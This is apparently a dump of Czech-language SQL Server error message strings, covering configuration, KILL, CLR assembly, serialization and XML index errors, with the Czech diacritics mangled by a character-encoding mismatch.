dPo
et pYipojen� u~ivatelo je omezen na %1!s!.

hZadan� hodnota mo~nost� u~ivatelo je neplatn�.

�Minim�ln� hodnota pamti serveru (%1!s!) mus� b�t mena� ne~ nebo rovna maxim�ln� hodnot (%2!s!).

�Zadan� maska spYa~en� neodpov�d� masce procesoru v tomto syst�mu.

�Zadan� maska spYa~en� je vta� ne~ po
et procesoro, kter� je v t�to edici syst�mu SQL Server podporov�n nebo licencov�n.

TZadan� spYa~en� je v konfliktu se zadanou maskou spYa~en� I/O. Chcete-li pou~�t jin� procesory ne~ procesory zadan� v masce spYa~en� I/O, zmHte nastaven� spYa~en�.

�Spuatn� procesoro s maskou 0x%1!s! v syst�mu se nezdaYilo.

�Prost� zobrazen� nen� danou platformou nebo edic� syst�mu SQL Server podporov�no.

�Port pro naslouch�n� slu~by Service Broker nesm� b�t dynamick�. Platn� hodnoty pro port jsou v rozmez� 1024-32767.

�Hodnota ovYov�n� pYipojen� slu~by Service Broker je neplatn�.

�Velikost pYesmrovan�ho �lo~iat zpr�vy slu~by Service Broker nelze nastavit na hodnotu 0.

tRe~im pYesmrov�n� slu~by Service Broker je neplatn�.

�V�choz� jazyk fulltextov�ho vyhled�v�n� nen� podporov�n komponentou fulltextov�ho vyhled�v�n�.

�Je zad�no pY�lia m�lo pracovn�ch vl�ken. Minimum je %1!s!.

�U~ivatelsk� instance nejsou v t�to edici syst�mu SQL Server podporov�ny.

0Spuatn� modulu CLR (Common Language Runtime) nen� v prost�m zobrazen� podporov�no. Zaka~te jednu z mo~nost�: CLR ENABLED nebo LIGHTWEIGHT POOLING.

�Rozsah spYa~en� je neplatn�. Doln� hranice %1!s! mus� b�t mena� ne~ horn� hranice %2!s!.

�Hodnota %1!s! v seznamu rozsaho pY�kazu ALTER SERVER CONFIGURATION SET PROCESS AFFINITY byla zad�na v�ce ne~ jednou.

�Nastaven� spYa~en� nebylo zmnno. Dovodem mo~e b�t nedostatek syst�mov�ch prostYedko.

xRozsah %1!s!, kter� ur
uje hodnotu %2!s! %3!s!, obsahuje nejm�n jednu polo~ku %4!s!, kter� nen� v aktu�ln� instanci dostupn�. Maxim�ln� po
et %5!s! dostupn� v t�to instanci je %6!s!.

|Aktu�ln� nastaven� spYa~en� ur
uje pou~it� v�ce ne~ 64 procesoro. Odeberte procesory pY�kazem ALTER SERVER CONFIGURATION pYed pou~it�m pY�kazu SP_CONFIGURE ke zmn nastaven� spYa~en�.

Polo~ka %1!s! s ID %2!s! v tomto syst�mu neexistuje. K nalezen� polo~ek %3!s! platn�ch pro tento syst�m pou~ijte sys.dm_os_schedulers.

LJe nastaven pY�lia n�zk� maxim�ln� po
et pracovn�ch vl�ken. Na tomto po
�ta
i mus� b�t po
et vyaa� ne~ %1!s!. Je tYeba zv�ait maxim�ln� po
et pracovn�ch vl�ken.

�Hodnotu vlastnosti %1!s! nelze zmnit. Doalo k chyb opera
n�ho syst�mu %2!s!.

�SpYa~en� I/O nen� v t�to edici syst�mu SQL Server podporov�no.

�Zmna AFFINITY nen� podporovan�, kdy~ je SQL Server spuatn� v re~imu bez rozliaov�n� spYe~en�.

\DMV a DMF syst�mu souboro byly zak�z�ny.

�Zmny mo~nosti %1!s! v konfiguraci serveru nejsou u spravovan�ch instanc� datab�ze SQL podporov�ny.

�Zmny mo~nosti %1!s! v konfiguraci serveru nejsou u spravovan�ch instanc� datab�ze SQL podporov�ny.

Typ enkl�vy aifrov�n� sloupce nejde nastavit na zabezpe
en� na z�klad virtualizace (VBS). Opera
n� syst�m toti~ VBS nepodporuje.

xJe zad�n neplatn� typ enkl�vy aifrov�n� sloupce %1!s!.

�Nejde nastavit typ aifrov�n� sloupce enkl�vy na roza�Yen� software Guard (SGX)   opera
n� syst�m nepodporuje SGX.

\Mnit mo~nosti konfigurace serveru v pYipojen� k obsa~en� skupin dostupnosti nen� povoleno. ZmHte pYipojen� na �roveH instance SQL Serveru a zkuste operaci zopakovat.

�Jedn� nebo v�ce jednotk�m obnoven� patY�c�m k datab�zi %1!s! se nepodaYilo vygenerovat kontroln� bod. Obvyklou pY�
inou je nedostatek syst�mov�ch zdrojo, jako je m�sto na disku nebo pame, nebo v nkter�ch pY�padech poakozen� datab�ze. Podrobn� informace o t�to chyb naleznete v pYedchoz�ch polo~k�ch protokolu chyb.

Kontroln� body nelze vydat. Nen� k dispozici dostatek z�mko. Procesy kontroln�ho bodu na pozad� budou pozastaveny, dokud z�mky nebudou k dispozici. Pokud chcete uvolnit z�mky, zkontrolujte transakce a jejich z�mky a ukon
ete transakce s nejvyaa�m po
tem z�mko.

DID relace %1!s! nen� platn�.

hU~ivatel nem� opr�vnn� k pou~it� pY�kazu KILL.

xPY�kaz KILL nelze pou~�t k ukon
en� vlastn�ho procesu.

`ID procesu %1!s! nen� ID aktivn�ho procesu.

dUkon
eny mohou b�t pouze u~ivatelsk� procesy.

PY�kaz KILL SPID WITH COMMIT/ROLLBACK nen� syst�mem Microsoft SQL Server podporov�n. K vyYeaen� nejist�ch distribuovan�ch transakc� t�kaj�c�ch se slu~by MS DTC (Microsoft Distributed Transaction Coordinator) pou~ijte pY�kaz KILL UOW WITH COMMIT/ROLLBACK.

�Distribuovan� transakce s parametrem UOW %1!s! neexistuje.

�Jin� u~ivatel ur
il odlian� v�stup pro distribuovanou transakci pYidru~enou k parametru UOW %1!s!.

�Distribuovan� transakce s parametrem UOW %1!s! je ve stavu PYipraveno. Tuto transakci mo~e zpracovat pouze slu~ba MS DTC (Microsoft Distributed Transaction Coordinator). PY�kaz KILL se nezdaYil.

4Distribuovan� transakce pYidru~en� k parametru UOW %1!s! je ve stavu PYipraveno. K ukon
en� transakce pou~ijte syntaxi KILL UOW WITH COMMIT/ROLLBACK.

�Distribuovanou transakci s parametrem UOW %1!s! pou~�v� jin� u~ivatel. PY�kaz KILL se nezdaYil.

|PY�kaz KILL nelze pou~�t uvnitY u~ivatelsk�ch transakc�.

Existuje pYipojen� pYidru~en� k distribuovan� transakci s parametrem UOW %1!s!. NejdY�ve pYipojen� pYeruate syntax� KILL SPID.

Distribuovan� transakce pYidru~en� k parametru UOW %1!s! nen� ve stavu PYipraveno. K ukon
en� transakce pou~ijte pY�kaz KILL UOW.

�Zpr�vu o stavu nelze z�skat. Vr�cen� zpt na ID procesu %1!s! neprob�h�.

�Zpr�vu o stavu nelze z�skat. Vr�cen� zpt na parametru UOW %1!s! neprob�h�.

Metoda %1!s! typu %2!s! v sestaven� %3!s! je ozna
ena jako mut�tor. Mut�tory nelze pou~�t v 
�stech dotazu ur
en�ch jen pro 
ten�.

Metoda %1!s! typu %2!s! v sestaven� %3!s! nen� ozna
ena jako mut�tor. Aktualizovat hodnotu typu CLR lze jen pou~it�m mut�toro.

�Metoda %1!s! typu %2!s! v sestaven� %3!s! nevrac� ~�dnou hodnotu.

 Metodu %1!s! typu %2!s! v sestaven� %3!s! nelze ozna
it jako mut�tor. Metoda mut�toru mus� b�t nestatick�, veYejn� a mus� vracet typ void.

�Prob�h� odes�l�n� z�znamu (po
et sloupco: %1!s!) v sad v�sledko dotazu (po
et sloupco: %2!s!).

XPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e sestaven� %2!s! bylo kompilov�no s mo~nost� /UNSAFE, ale nebylo registrov�no s po~adovanou mo~nost� PERMISSION_SET = UNSAFE.

�}�dost byla odesl�na s pY�lia mnoha parametry. Maxim�ln� po
et je %1!s!.

�PYi pYev�dn� %1!s! na typ Binary s pevnou d�lkou doalo k chyb. V�sledek bude doplnn a nelze jej pYev�st zpt.

8PY�kaz %1!s! se nezdaYil, proto~e po
et parametro pro metodu FillRow mus� b�t o jeden vyaa� ne~ deklarace syst�mu SQL pro funkci CLR vracej�c� tabulku.

�Chybn� Yazen� typu CLR %1!s!: Vrac� hodnoty NULL na nenulov�ch vstupech.

TTyp CLR %1!s! nen� pln porovnateln�.

DPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e typ %2!s! v sestaven� %3!s! %4!s! m� statick� pole %5!s!. Atributy statick�ch pol� v sestaven�ch %6!s! mus� b�t ozna
eny stavem readonly v syst�mu Visual C#, ReadOnly v syst�mu Visual Basic a initonly v syst�mu Visual C++ a pYevodn�m jazyku.

tPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e metoda %2!s! typu %3!s! v sestaven� %4!s! %5!s! ukl�d� do statick�ho pole. Ukl�d�n� do statick�ch pol� nen� v sestaven�ch %6!s! povoleno.

pPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e metoda %2!s! typu %3!s! v sestaven� %4!s! %5!s! m� synchronizovan� atribut. Explicitn� synchronizace nen� v sestaven�ch %6!s! povolena.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e sestaven� %2!s! m� nespravovan� vstupn� bod.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e metoda %2!s! typu %3!s! v sestaven� %4!s! %5!s! m� neplatn� atribut 0x%6!s!.

@PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e typ %2!s! v sestaven� %3!s! %4!s! m� finaliza
n� metodu. Finaliza
n� metody nejsou v sestaven�ch %5!s! povoleny.

�PY�kaz ALTER ASSEMBLY ADD FILE se nezdaYil, proto~e soubor %1!s!, kter� je pYid�v�n, je pr�zdn�.

�PY�kaz %1!s! ASSEMBLY pro sestaven� %2!s! se nezdaYil, proto~e se sestaven� %3!s! nepodaYilo ovYit. Zkontrolujte, zda jsou odkazovan� sestaven� aktu�ln� a dovryhodn� (pro parametry EXTERNAL_ACCESS a UNSAFE) pro spouatn� v datab�zi. Chybov� zpr�vy ovYovatele CLR (pokud existuj�) budou n�sledovat po t�to zpr�v %4!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e parametr zdroje sestaven� %2!s! m� nespravovan� vstupn� bod.

�PY�kaz SELECT INTO se nezdaYil, proto~e typ CLR %1!s! v c�lov� datab�z� neexistuje.

�Operace kurzoru vygenerovala v�ce ne~ jeden Y�dek odlian�ch metadat sloupco.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! nen� pro nativn� serializaci platn�.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! je typu %6!s!.%7!s!, kter� nen� ozna
en atributem LayoutKind.Sequential. Nativn� serializace vy~aduje, aby byl typ ozna
en atributem LayoutKind.Sequential.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! je ozna
eno atributem System.NonSerializedAttribute. Typy nativn� serializace nemohou obsahovat pole ozna
en� parametrem System.NonSerializedAttribute.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! je typu %6!s!.%7!s!, kter� je nehodnotov� typ. Typy nativn� serializace mohou obsahovat pouze pole datov�ho typu typu blittable. Chcete-li pole jin�ho typu, zva~te pou~it� jin�ho typu form�tu serializace, napY�klad u~ivatelem definovanou serializaci.

�Typ %1!s!.%2!s! je ozna
en pro u~ivatelem definovanou serializaci, ale neimplementuje rozhran� %3!s!.%4!s!.

lTyp %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! je typu %6!s!.%7!s!, kter� nen� typu blittable, nebo m� typ %8!s!.%9!s! rekurzivn� definici.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale obsahuje pole, kter� nejsou datov�ho typu blittable.

tTyp %1!s!.%2!s! je ozna
en pro nativn� serializaci. Nen� ozna
en atributem LayoutKind.Sequential. Nativn� serializace vy~aduje, aby byl typ ozna
en atributem LayoutKind.Sequential.

hTyp %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale pole %3!s! typu %4!s!.%5!s! obsahuje serializ�tory pol�. Typy nativn� serializace nemohou obsahovat serializ�tory pol�.

Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale jeden z jeho z�kladn�ch typo %3!s!.%4!s! nen� platn� pro nativn� serializaci.

�Typ %1!s!.%2!s! je ozna
en pro nativn� serializaci, ale z�kladn� typ %3!s!.%4!s! nen� ozna
en atributem LayoutKind.Sequential. Nativn� serializace vy~aduje, aby byl typ ozna
en atributem LayoutKind.Sequential.

|PY�stup do dat procesu nen� povolen ve zosobnn�m stavu.

�Chyba zkracov�n� dat: D�lka (%1!s!) pYekro
ila maxim�ln� povolenou d�lku (%2!s!) pro typ %3!s!.

�Chyba serializace dat: D�lka (%1!s!) je krata� ne~ pevn� d�lka (%2!s!) pro typ %3!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e n�zev souboru %2!s! je pY�lia dlouh�.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e metoda %2!s! typu %3!s! v sestaven� %4!s! m� neplatn� vlastn� atribut %5!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e pole %2!s! typu %3!s! v sestaven� %4!s! m� neplatn� vlastn� atribut %5!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e typ %2!s! v sestaven� %3!s! m� neplatn� vlastn� atribut %4!s!.

PPY�kaz ALTER ASSEMBLY se nezdaYil, proto~e funkce %1!s! typu %2!s! ji~ nad�le nesplHuje po~adavky na indexovatelnost a je pou~�v�na pro indexovan� zobrazen� %3!s!.

$Prob�h� odes�l�n� z�znamu s typem nebo n�zvem sloupce %1!s!, kter� je odlian� od typu nebo n�zvu odpov�daj�c�ho sloupce sady v�sledko dotazu.

�PY�kaz CREATE ASSEMBLY se nezdaYil, proto~e u~ivatel %1!s! zadan� v autoriza
n� klauzuli neexistuje.

�%1!s!.%2!s! je ozna
en pro nativn� serializaci, ale m� v atributu %3!s! zadanou vlastnost MaxByteSize. Objekty nativn� serializace nemohou ur
ovat vlastnost MaxByteSize. Vlastnost po
�t� syst�m SQL Server.

�Velikost (%1!s!) pro soubor %2!s!.%3!s! nen� v platn�m rozsahu. Velikost mus� b�t -1 nebo 
�slo v rozsahu od 1 do 8000.

|Neplatn� form�t serializace (%1!s!) pro typ %2!s!.%3!s!.

hSestaven� %1!s! ji~ existuje v datab�zi %2!s!.

Typ nelze vytvoYit, proto~e objekt %1!s!.%2!s! nemo~e m�t pevnou d�lku, jestli~e m� vlastnost MaxByteSize nastavenu na hodnotu -1.

�Operace %1!s! se nezdaYila, proto~e typ '%2!s!' obsahuje metodu '%3!s!' zadanou v parametru SqlUserDefinedType.ValidateMethodName, kter� nesplHuje po~adovanou specifikaci z dovodu neplatn�ho podpisu.

xPYidru~en� soubor %1!s! ji~ existuje v sestaven� %2!s!.

dSestaven� %1!s! nem� pYidru~en� soubor %2!s!.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e parametr souboru sestavy %1!s! nen� platn� v�raz.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e pro vlo~en� parametr souboru sestavy %1!s! nebyl zad�n n�zev souboru.

�Operace %1!s! se nezdaYila, proto~e typ %2!s! neodpov�d� specifikaci %3!s!: Chyb� vlastn� atribut %4!s!.

�}�dost SqlPipe byla odesl�na s pY�lia mnoha sloupci. Maxim�ln� po
et je %1!s!.

�PY�kaz CREATE ASSEMBLY pro sestavu %1!s! se nezdaYil, proto~e sestava je ur
ena pro nepodporovanou verzi modulu CLR.

xSignatura funkce metody FillRow (ur
en� atributem SqlFunctionAttribute.FillRowMethodName) neodpov�d� deklaraci syst�mu SQL pro funkci CLR vracej�c� tabulku %1!s! kvoli sloupci %2!s!.

�Sestaven� %1!s! nelze na
�st, proto~e se nezdaYilo jeho ovYen�. %2!s!

�PYi z�sk�v�n� nov�ho Y�dku z u~ivatelem definovan� funkce vracej�c� tabulku doalo k chyb. %1!s!.

�Typ CLR odkazovan� sloupcem %1!s! promnn� tabulky %2!s! byl bhem zpracov�n� d�vky vyYazen. Spusete d�vku znova.

�Sestaven� v aktu�ln� datab�zi nelze naj�t nebo neodpov�daj� jejich verze.

�Spuatn� u~ivatelsk�ho k�du je v .NET Framework zak�z�no. Povolte mo~nost konfigurace CLR ENABLED.

PY�stup k datom se nezdaYil, proto~e rutina .NET Framework nen� ozna
ena atributem DataAccessKind.Read nebo SystemDataAccessKind.Read.

8PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e typ %2!s! v sestaven� %3!s! %4!s! m� metodu PInvokeImpl. Metoda P/Invoke nen� v sestaven�ch %5!s! povolena.

�Sestaven� %1!s! neexistuje, nebo u~ivatel nem� povolen� na nj odkazovat.

0PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e u~ivatelem definovan� agregace %1!s! neexistuje nebo nen� spr�vn definovan� v aktualizovan�m sestaven�.

$PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e po~adovan� metoda %1!s! typu %2!s! nebyla nalezena v aktualizovan�m sestaven� se stejn�m podpisem.

 PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e po~adovan� pole %1!s! typu %2!s! nebylo nalezeno v aktualizovan�m sestaven� se stejn�m podpisem.

PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e vlastnost %1!s! typu %2!s! nebyla nalezena v aktualizovan�m sestaven� se stejn�m podpisem.

PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e po~adovan� typ %1!s! neexistuje, nebo nen� spr�vn definov�n v aktualizovan�m sestaven�.

DPY�kaz ALTER ASSEMBLY se nezdaYil, proto~e form�t serializace typu %1!s! se v aktualizovan�m sestaven� zmn�. Trval� typy nemohou mnit form�ty serializace.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e atribut IsByteOrdered typu %1!s! se v aktualizovan�m sestaven� zmn�.

@PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e data serializace typu %1!s! se v aktualizovan�m sestaven� zmn�. Trval� typy nemohou mnit form�ty serializace.

0PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e atribut MaxLen typu %1!s! se v aktualizovan�m sestaven� zmn�. Trval� typy nemohou mnit atribut MaxLen.

@PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e atribut IsFixedLen typu %1!s! se v aktualizovan�m sestaven� zmn�. Trval� typy nemohou mnit atribut IsFixedLen.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e atribut mut�toru metody %1!s! v typu %2!s! se v aktualizovan�m sestaven� zmn� a metoda je pou~�v�na funkc� nebo zobrazen�m %3!s! sv�zan�m se sch�matem.

dPY�kaz ALTER ASSEMBLY se nezdaYil, proto~e na sestaven� z�vis� tabulka, zobrazen� nebo omezen� %1!s!. Pou~ijte pY�kaz WITH UNCHECKED DATA k pYesko
en� hled�n� trval�ch dat.

PY�kaz ALTER ASSEMBLY selhal, proto~e parametr WITH UNCHECKED DATA mo~ou pou~�vat jenom u~ivatel� s opr�vnn�mi ALTER ANY SCHEMA.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e odkazovan� sestaven� se zmn�. Odkazovan� seznam sestaven� mus� zostat stejn�.

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e je povolena pouze zmna 
�sla verze revize sestavy.

TPY�kaz ALTER ASSEMBLY se nepodaYilo prov�st, proto~e na nj odkazuje objekt %1!s!. Sestaven�, na kter� odkazuj� objekty syst�mu SQL, nelze nastavit jako neviditeln�.

HPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e zdrojov� sestaven� (podle identifik�toru MVID) je shodn� se sestaven�m, kter� je ji~ registrov�no pod n�zvem %2!s!.

PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e v datab�zi ji~ je odlian� verze sestaven� %2!s! a je odkazov�na sestaven�m %3!s!.

tPY�kaz ALTER ASSEMBLY se nezdaYil, proto~e funkce %1!s! typu %2!s! ji~ nad�le nesplHuje po~adavky na indexovatelnost a je pou~�v�na pro trval� po
�tan� sloupec %3!s! tabulky %4!s!.

�PY�kaz ALTER ASSEMBLY ozna
il data jako nezaakrtnut� v jednom nebo v�ce objektech v datab�zi %1!s!. Vaechny tyto objekty naleznete ve sloupci s parametrem has_unchecked_assembly_data v syst�mov�ch zobrazen�ch sys.tables a sys.views.

�PYidlen� pamti pro funkci modulu CLR (Common Language Runtime) se nezdaYilo.

�Parametr AppDomain %1!s! (%2!s!) se nepodaYilo uvolnit. K�d chyby: 0x%3!s!.

�Transakce pYidru~en� k t�to operaci byla potvrzena nebo vr�cena zpt. Opakujte akci s jinou transakc�.

�%1!s!.%2!s!.%3!s!: Atribut SqlFacetAttribute je pro neveYejn� 
len neplatn�.

�%1!s!.%2!s!.%3!s!: Vlastnost %4!s! atributu SqlFacetAttribute nelze pou~�t v tomto kontextu.

�%1!s!.%2!s!.%3!s!: Vlastnost %4!s! atributu SqlFacetAttribute m� neplatnou hodnotu.

 %1!s!.%2!s!.%3!s! : Atribut SqlFacetAttribute nelze pou~�t pro zadavatele nebo pY�jemce vlastnosti. Ml by b�t pou~it pY�mo pro vlastnost.

8%1!s!.%2!s!.%3!s!: Vlastnost IsFixedLength atributu SqlFacetAttribute nelze nastavit na hodnotu TRUE, pokud je parametr MaxSize nastaven na hodnotu -1.

�%1!s!.%2!s!.%3!s!: Vlastnosti PYesnost a MY�tko atributu SqlFacetAttribute mus� b�t pou~ity sou
asn.

�Argumenty pY�kazu CREATE a ALTER XML SCHEMA COLLECTION mus� b�t Yetzcov� v�razy.

�Anal�za k�du XML: Anal�za dokumentu po~adovala pY�lia mnoho pamti.

�Anal�za k�du XML: V analyz�toru k�du XML doalo k neo
ek�van� chyb.

�V metod datov�ho typu XML je po~adov�n v�raz manipulace s daty XQuery.

�Do metody datov�ho typu XML byl pYed�n neplatn� v�raz XQuery.

8Kontrola spr�vnosti form�tu XML: Atribut se nemo~e nach�zet mimo deklaraci elementu. PYepiate v�raz XQuery tak, aby vracel k�d XML ve spr�vn�m form�tu.

�Kontrola spr�vnosti form�tu XML: Duplicitn� atribut %1!s!. PYepiate v�raz XQuery tak, aby vracel XML ve spr�vn�m form�tu.

�Kontrola spr�vnosti form�tu XML: Data pro uzel %1!s! obsahuj� znak (0x%2!s!), kter� nen� v jazyce XML povolen.

�Zmna existuj�c�ch komponent sch�matu nen� povolena. Doalo k pokusu o zmnu existuj�c� komponenty sch�matu XML. Obor n�zvu komponenty: %1!s!, n�zev komponenty: %2!s!, druh komponenty:%3!s!

�Doalo k intern� chyb procesoru sch�matu XMLDB. Obraete se na technickou podporu.

�Komponenty sch�matu s c�lov�m oborem n�zvo %1!s! v kolekci %2!s! nelze naj�t.

dZadan� kolekce neexistuje v metadatech: %1!s!

�XQuery: Nelze aktualizovat na hodnotu %1!s!, proto~e kanonick� tvar typu {%2!s!}%3!s! naruauje po~adovan� vzorek. Doporu
uje se nepou~�vat omezuj�c� vlastnosti vzorku na neYetzcov�ch typech.

�Zadanou komponentu %1!s! nelze vyYadit, proto~e je pou~�v�na komponentou %2!s!.

�XQuery: Nelze aktualizovat na hodnotu %1!s!, proto~e se v�raz nepodaYilo ovYit podle typu {%2!s!}%3!s!.

�XQuery: V probhu ovYov�n� parametru UPDATE se nepodaYilo prov�st pYevod Yetzce.

�XQuery: Pouze elementy s hodnotou NULL a textov� uzly mohou b�t aktualizov�ny s pr�zdnou sekvenc�.

�XML: Atribut prostoru mus� m�t hodnotu PRESERVE nebo DEFAULT. Hodnota %1!s! nen� platn�.

�Analyz�tor XML nem� dostatek pamti. Dovodem mo~e b�t pY�lia mnoho atributo nebo deklarac� oboro n�zvo.

TKolekce sch�mat XML pro promnnou %1!s! byla zmnna bhem zpracov�n� d�vky. Odeberte z d�vky vaechny z�visl� operace DDL kolekce sch�mat XML a spusete d�vku znova.

pParametr DROP XML INDEX nepodporuje ~�dn� mo~nosti.

�XQuery: Nahrazen� hodnoty uzlu pr�zdnou sekvenc� je povoleno pouze tehdy, kdy~ je jako nov� hodnotov� v�raz pou~ita hodnota (). V pr�zdn� sekvenci byl vyhodnocen nov� hodnotov� v�raz, ale jeho hodnota nen� ().

DKontrola spr�vnosti form�tu XML: Obory n�zvo XML se nemohou nach�zet mimo deklaraci elementu. PYepiate v�raz XQuery tak, aby vracel XML ve spr�vn�m form�tu.

hZadan� ID kolekce sch�ma XML nen� platn�. %1!s!

�Zadanou kolekci %1!s! nelze vyYadit, proto~e je pou~�v�na %2!s! %3!s!.

|Nepodporovan� pou~it� zadan� hodnoty QName na uzlu %1!s!.

�Sloupec %1!s! v tabulce %2!s! nen� typu XML, kter� je po~adov�n pro vytvoYen� indexu XML pro tento sloupec.

Prim�rn� index XML %1!s! ji~ existuje pro sloupec %2!s! v tabulce %3!s!. Nen� povoleno m�t v�ce prim�rn�ch indexo XML pro jeden sloupec.

Pokud chcete v tabulce %1!s! vytvoYit prim�rn� index XML, mus� m�t tabulka clusterov� prim�rn� kl�
 s m�n ne~ %2!s! sloupci.

�Index XML %1!s! s n�zvem %2!s! v tabulce %3!s! nebyl nalezen.

Nelze vytvoYit index XML ani prostorov� index na objektu %1!s!, proto~e objekt nen� tabulka. VytvoYte index na sloupci z�kladn� tabulky.

�Instance datov�ho typu XML m� pY�lia mnoho �rovn� vnoYen�ch uzlo. Maxim�ln� povolen� hloubka je %1!s! �rovn�.

Maxim�ln� velikost prim�rn�ho indexu tabulky %1!s! je %2!s! bajto. PY�kaz CREATE XML INDEX vy~aduje, aby velikost nepYes�hla %3!s! bajto.

�%1!s! nen� platn� n�zev indexu XML, proto~e za
�n� znakem %2!s!. Platn� n�zev indexu XML nemo~e za
�nat znakem # nebo @.

�Zadan� kolekce %1!s! nemo~e b�t zmnna, proto~e je to kolekce sch�mat XML pYeddefinovan� v syst�mu SQL Server.

Kolekce sch�mat XML %1!s! odkazovan� promnnou tabulky %2!s! byla bhem zpracov�n� d�vky zruaena nebo zmnna. Spusete d�vku znovu.

 Kolekce sch�mat XML odkazovan� sloupcem %1!s! promnn� tabulky %2!s! byla bhem zpracov�n� d�vky zruaena nebo zmnna. Spusete d�vku znovu.

<Nelze vytvoYit prim�rn� index XML, selektivn� index XML nebo prostorov� index %1!s! pro tabulku %2!s!, sloupec %3!s!, proto~e tento sloupec je po
�tan�.

�Nelze vytvoYit sekund�rn� index XML nebo sekund�rn� selektivn� index XML %1!s! bez pou~it� klauzule USING XML INDEX.

�Prim�rn� index XML %1!s! pro tabulku %2!s!, sloupec %3!s! neexistuje.

�Sadu zhuatn�ch sloupco %1!s! v tabulce %2!s! nelze indexovat pomoc� indexu XML.

�Prim�rn� index XML nelze pYev�st na sekund�rn� index XML pomoc� mo~nosti DROP_EXISTING. %1!s! je prim�rn� index XML.

�Zadanou kolekci %1!s! nelze zmnit. Kolekce neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Zadanou kolekci %1!s! nelze vytvoYit. Kolekce ji~ existuje nebo nem�te pY�sluan� opr�vnn�.

lDefinice kolekce sch�mat XML %1!s! byla zmnna.

�Kolekce sch�mat XML pro n�vratov� parametr modulu %1!s! byla zmnna bhem zpracov�n� d�vky. Spusete d�vku znovu.

(Byl zad�n neplatn� parametr. Kolekce sch�mat XML lze vytvoYit pouze z Yetzcov�ho liter�lu, z promnn� typu Yetzec nebo z netypov�ho k�du XML.

xSerializace pYeddefinovan�ch sch�mat nen� podporov�na.

�C�lov� velikost Yetzce je pY�lia mal�, ne~ aby mohla pYedstavovat instanci XML.

�PYevod jednoho 
i v�ce znako z XML do c�lov� kolace nelze prov�st.

�Na
ten� knihovny DLL se nezdaYilo. OvYte, zda v instalaci syst�mu SQL Server existuje soubor xmlrw.dll.

VnitYn� chyba: Nelze naj�t polo~ku CreateInfoSetReaderEx v knihovn xmlrw.dll. PY�
inou mo~e b�t nespr�vn� verze knihovny xmlrw.dll.

|%1!s! nen� platn�m 
�slem stylu pYi pYevodu do k�du XML.

�Nen� povolen� prov�dt anal�zu k�du XML se specifikacemi DTD vnitYn� podmno~iny. Chcete-li povolit omezenou podporu specifikace DTD vnitYn� podmno~iny, pou~ijte pY�kaz CONVERT s mo~nost� stylu 2.

t%1!s! nen� platn� styl 
�sla pYi pYevodu z k�du XML.

�Byl zad�n neplatn� parametr null. Kolekci sch�mat XML lze vytvoYit pouze z hodnot jin�ch ne~ null.

Nelze prov�st pY�kaz ALTER SCHEMA COLLECTION. Aktu�ln� sch�ma obsahuje z�stupn� znak o hodnot lax nebo element typu xs:anyType.

�PY�kaz ALTER SCHEMA COLLECTION se nezdaYil. Nen� mo~n� jej prov�st na kolekci sch�mat, kter� dovoluje obsah s ovYen�m lax a je sv�zan� se sch�matem. PYed pokusem o zmnu kolekce odeberte vazbu sch�mat.

�PY�kaz ALTER SCHEMA COLLECTION se nezdaYil. Optovn� ovYen� sloupco XML v tabulce %1!s! nebylo �span� z n�sleduj�c�ho dovodu: %2!s!. Mlo by b�t zmnno bu sch�ma, nebo zadan� data, aby pYi ovYen� nebyly nalezeny ~�dn� neshody.

�V�sledkem operace XML je datov� typ XML o velikosti pYesahuj�c� 2 GB. Operace byla pYeruaena.

PNeplatn� typ pro element %1!s!. Syst�m SQL Server nepovoluje jako typ elementu typy ID a IDREF z pYeddefinovan�ch sch�mat XML ani z nich odvozen� typy. %2!s! %3!s!

�Datov� typ XSD %1!s! nen� pro selektivn� index XML %2!s! povolen.

Nen� povoleno zadat typ XSD pro selektivn� index XML %1!s!, proto~e sloupec %2!s! tabulky %3!s! je pYidru~en ke kolekci sch�matu XML.

Mo~nost MAX_LENGTH pro selektivn� index XML %1!s! lze zadat pouze pro typy, kter� podporuj� omezuj�c� vlastnost maxLength.

�Mo~nost MAX_LENGTH nen� pro selektivn� index XML %1!s! povolena v kombinaci s hodnotou node().

�Nelze pYiYadit stejn� n�zev v�ce ne~ jedn� cest pro selektivn� index XML %1!s!.

